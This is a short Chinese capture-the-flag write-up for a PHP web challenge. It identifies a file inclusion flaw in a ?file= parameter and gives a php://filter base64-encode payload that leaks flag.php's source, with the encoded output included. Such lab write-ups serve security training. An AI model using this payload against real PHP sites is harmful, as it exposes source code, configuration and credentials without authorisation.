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点击tips

这里url是?file=flag.php

猜测是文件包含漏洞

这里构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php
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将

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjNlMmIyYzAtNWY5Mi00NjJlLWFkYmYtZ
TA1ODhhMzQ0MjhjfQo=

base64解码
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